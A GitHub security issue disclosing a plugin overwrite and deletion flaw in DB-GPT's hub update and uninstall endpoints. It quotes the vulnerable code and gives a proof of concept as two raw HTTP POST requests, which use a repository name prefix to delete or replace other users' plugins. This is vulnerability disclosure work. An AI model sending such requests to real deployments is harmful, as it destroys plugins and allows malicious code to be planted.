Skip to content

[SECURITY] Plugins overwrite in /api/v1/agent/hub/update endpoint. #2872

@0gur1

Description

@0gur1

Description

The /api/v1/agent/hub/update endpoint is used to update plugins from Github url. However, there is a lack of user isolation and precise path validation when handling the plugin directory. An attacker can forge GitHub plugin links and construct specific parameters to delete or overwrite other users' plugins during the update process, ultimately resulting in denial of service or the insertion of malicious plugin code.

Root cause

The /api/v1/agent/hub/update endpoint gains user input url, branch and authorization to refresh_hub_from_git at [1].
Then calling update_from_git to update plugins with github url. It extracts a name from url as plugin_repo_name at [3]. After pulling plugins from github at [4], it will try to match plugins with the prefix plugin_repo_name with glob.glob at [5], and delete them at [6].

#packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L62
@router.post("/v1/agent/hub/update", response_model=Result[str])
async def plugin_hub_update(update_param: PluginHubParam = Body()):
    …
    try:
        branch = (
            update_param.branch
            if update_param.branch is not None and len(update_param.branch) > 0
            else "main"
        )
        authorization = (
            update_param.authorization
            if update_param.branch is not None and len(update_param.branch) > 0
            else None
        )
        plugin_hub.refresh_hub_from_git(update_param.url, branch, authorization) #-->【1】


# packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py #L227
def refresh_hub_from_git(
        self,
        github_repo: str = None,
        branch_name: str = "main",
        authorization: str = None,
    ):
        update_from_git(
            self.temp_hub_file_path, github_repo, branch_name, authorization
        ) #-->【2】

# packages\dbgpt-core\src\dbgpt\agent\resource\tool\autogpt\plugins_util.py#L171
def update_from_git(
    download_path: str,
    github_repo: str = "",
    branch_name: str = "main",
    authorization: Optional[str] = None,
):
        …
        github_repo = github_repo.replace(".git", "")
        url = github_repo + "/archive/refs/heads/" + branch_name + ".zip"
        plugin_repo_name = github_repo.strip("/").split("/")[-1] #-->【3】
    else:
        …
    try:
        session = requests.Session()
        headers = {}
        if authorization and len(authorization) > 0:
            headers = {"Authorization": authorization}
        response = session.get(
            url,
            headers=headers,
        )#-->【4】

        if response.status_code == 200:
            plugins_path_path = Path(download_path)
            files = glob.glob(os.path.join(plugins_path_path, f"{plugin_repo_name}*")) #-->【5】
            for file in files:
                os.remove(file) #-->【6】

Similarly, /api/v1/agent/uninstall endpoints has the same problem and the call chain is:
agent_uninstall (packages\dbgpt-serve\src\dbgpt_serve\agent\hub\controller.py#L117) –> uninstall_plugin (packages\dbgpt-serve\src\dbgpt_serve\agent\hub\plugin_hub.py#202)

Due to the use of prefix matching in the deletion, an attacker can leverage short names (such as "a" or "b") to delete other legitimate plugin files or replace existing plugins with those of the same name. Additionally, since the plugin directory is not user-isolated and all user plugins works in the same path, it will amplifies the impact of the vulnerability.

PoC

  1. Download a normal plugin DB-GPT-Plugins.
POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54

{
 "url":"https://github.com/eosphoros-ai/DB-GPT-Plugins"
}
  1. Update a plugin with the prefix DB. Here I find a git repo https://github.com/MhLiao/DB.
POST /api/v1/agent/hub/update HTTP/1.1
Host: 172.21.0.3:5670
Content-Type: application/json
Connection: close
Content-Length: 54

{
 "url":"https://github.com/MhLiao/DB",
 "branch":"master"
}

Result:

Image

Credit

This vulnerability was discovered by Tian Yu from ADLab of VenusTech

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions